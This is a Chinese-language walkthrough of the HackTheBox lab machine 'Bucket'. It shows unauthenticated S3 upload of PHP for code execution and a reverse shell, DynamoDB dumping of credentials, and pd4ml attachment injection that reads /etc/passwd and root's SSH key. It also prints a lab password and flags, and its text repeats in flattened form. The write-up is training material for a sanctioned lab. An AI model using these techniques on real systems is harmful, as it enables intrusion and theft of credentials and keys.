[HTB] 靶机学习 Bucket
字数 1299 2025-08-29 22:41:24

HTB靶机Bucket渗透测试教学文档

1. 初始信息收集

  1. 添加hosts记录

    • bucket.htbs3.bucket.htb添加到本地hosts文件
    • 访问http://bucket.htb/并检查页面源代码
  2. 发现子域名

    • 在页面头部信息中发现子域名s3.bucket.htb
    • 该子域名路径http://s3.bucket.htb/adserver/images/bug.jpg暗示了Amazon S3服务

2. Amazon S3基础知识

  1. 核心概念

    • Bucket(桶):存储对象的容器
    • Object(对象):存储在桶中的基本实体(文件)
    • Key:对象的唯一标识符
  2. 访问方式

    • Path-style请求
      https://s3.<region>.amazonaws.com/<bucket-name>/<key>
      示例:https://s3.us-west-2.amazonaws.com/amzn-s3-demo-bucket1/puppy.jpg
      
    • Virtual-hosted–style请求
      https://<bucket-name>.s3.<region>.amazonaws.com/<key>
      示例:https://amzn-s3-demo-bucket1.s3.us-west-2.amazonaws.com/puppy.png
      

3. 枚举和利用S3服务

  1. 目录扫描

    • 发现/health/shell端点
  2. 使用AWS CLI连接

    # 列出所有bucket
    aws --endpoint-url=http://s3.bucket.htb s3 ls
    
    # 列出特定bucket内容
    aws --endpoint-url=http://s3.bucket.htb s3 ls s3://adserver
    
  3. 文件上传测试

    • 创建PHP测试文件abc.php
      <?php phpinfo(); ?>
      
    • 上传文件:
      aws --endpoint-url=http://s3.bucket.htb s3 cp abc.php s3://adserver/
      
    • 访问http://bucket.htb/abc.php验证解析
  4. 获取反弹shell

    • 上传PHP反弹shell脚本并执行

4. 权限提升前期

  1. 发现受限目录

    • /var/www/bucket-app目录无访问权限
    • 使用getfacl发现joy用户有读取和执行权限
  2. 发现DynamoDB信息

    • 在home目录发现db.php文件,包含新的endpoint-url
  3. DynamoDB枚举

    # 列出表
    aws dynamodb list-tables --endpoint-url http://localhost:4566
    
    # 查询users表内容
    aws dynamodb scan --table-name users --endpoint-url http://localhost:4566
    
    • 获取三组用户凭据,尝试SSH登录
  4. 获取初始flag

    • 使用凭据n2vM-<_K_Q:.Aa2SSH登录roy用户
    • 获取第一个flag:3b55b52d69515bd509b3aa744aebde7b

5. 深入利用DynamoDB

  1. 分析index.php逻辑

    • POST参数action=get_alerts时:
      • 连接DynamoDB查询alerts表
      • 过滤包含"Ransomware"关键字的title
      • 将匹配的data字段写入随机命名的HTML文件
      • 使用pd4ml工具将HTML转换为PDF
  2. 创建和操作alerts表

    # 创建表
    aws dynamodb create-table \
      --table-name alerts \
      --attribute-definitions AttributeName=title,AttributeType=S AttributeName=data,AttributeType=S \
      --key-schema AttributeName=title,KeyType=HASH AttributeName=data,KeyType=RANGE \
      --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
      --endpoint-url http://localhost:4566
    
    # 插入恶意数据
    aws dynamodb put-item \
      --table-name alerts \
      --item '{"title":{"S":"Ransomware"},"data":{"S":"<html>...</html>"}}' \
      --endpoint-url http://localhost:4566
    

6. 权限提升最终阶段

  1. 发现Apache服务

    • 通过netstat -lnp发现8000端口由root运行
  2. 端口转发

    ssh -L 8001:127.0.0.1:8000 roy@10.10.10.212
    
  3. 利用pd4ml读取文件

    • 构造包含文件读取payload的HTML:
      <attachment src="file:///etc/passwd">
      
    • 触发转换:
      curl http://127.0.0.1:8001/index.php --data 'action=get_alerts'
      
  4. 读取root私钥

    • 修改payload读取/root/.ssh/id_rsa
    • 获取第二个flag:7fdda731a4cfd824a796d00b0e6b5c63

7. 关键知识点总结

  1. S3服务利用

    • 识别S3端点
    • 使用AWS CLI操作未授权S3桶
    • 文件上传实现代码执行
  2. DynamoDB利用

    • 创建和操作表
    • 通过应用逻辑注入恶意数据
  3. 权限提升技巧

    • 利用文件转换服务读取敏感文件
    • 通过pd4ml的attachment特性实现LFI
    • 获取root私钥实现权限提升
  4. 工具使用

    • AWS CLI
    • 目录扫描工具
    • 端口转发技术
    • 文件包含利用
HTB靶机Bucket渗透测试教学文档 1. 初始信息收集 添加hosts记录 : 将 bucket.htb 和 s3.bucket.htb 添加到本地hosts文件 访问 http://bucket.htb/ 并检查页面源代码 发现子域名 : 在页面头部信息中发现子域名 s3.bucket.htb 该子域名路径 http://s3.bucket.htb/adserver/images/bug.jpg 暗示了Amazon S3服务 2. Amazon S3基础知识 核心概念 : Bucket(桶) :存储对象的容器 Object(对象) :存储在桶中的基本实体(文件) Key :对象的唯一标识符 访问方式 : Path-style请求 : Virtual-hosted–style请求 : 3. 枚举和利用S3服务 目录扫描 : 发现 /health 和 /shell 端点 使用AWS CLI连接 : 文件上传测试 : 创建PHP测试文件 abc.php : 上传文件: 访问 http://bucket.htb/abc.php 验证解析 获取反弹shell : 上传PHP反弹shell脚本并执行 4. 权限提升前期 发现受限目录 : /var/www/bucket-app 目录无访问权限 使用 getfacl 发现 joy 用户有读取和执行权限 发现DynamoDB信息 : 在home目录发现 db.php 文件,包含新的endpoint-url DynamoDB枚举 : 获取三组用户凭据,尝试SSH登录 获取初始flag : 使用凭据 n2vM-<_K_Q:.Aa2 SSH登录 roy 用户 获取第一个flag: 3b55b52d69515bd509b3aa744aebde7b 5. 深入利用DynamoDB 分析index.php逻辑 : POST参数 action=get_alerts 时: 连接DynamoDB查询alerts表 过滤包含"Ransomware"关键字的title 将匹配的data字段写入随机命名的HTML文件 使用pd4ml工具将HTML转换为PDF 创建和操作alerts表 : 6. 权限提升最终阶段 发现Apache服务 : 通过 netstat -lnp 发现8000端口由root运行 端口转发 : 利用pd4ml读取文件 : 构造包含文件读取payload的HTML: 触发转换: 读取root私钥 : 修改payload读取 /root/.ssh/id_rsa 获取第二个flag: 7fdda731a4cfd824a796d00b0e6b5c63 7. 关键知识点总结 S3服务利用 : 识别S3端点 使用AWS CLI操作未授权S3桶 文件上传实现代码执行 DynamoDB利用 : 创建和操作表 通过应用逻辑注入恶意数据 权限提升技巧 : 利用文件转换服务读取敏感文件 通过pd4ml的attachment特性实现LFI 获取root私钥实现权限提升 工具使用 : AWS CLI 目录扫描工具 端口转发技术 文件包含利用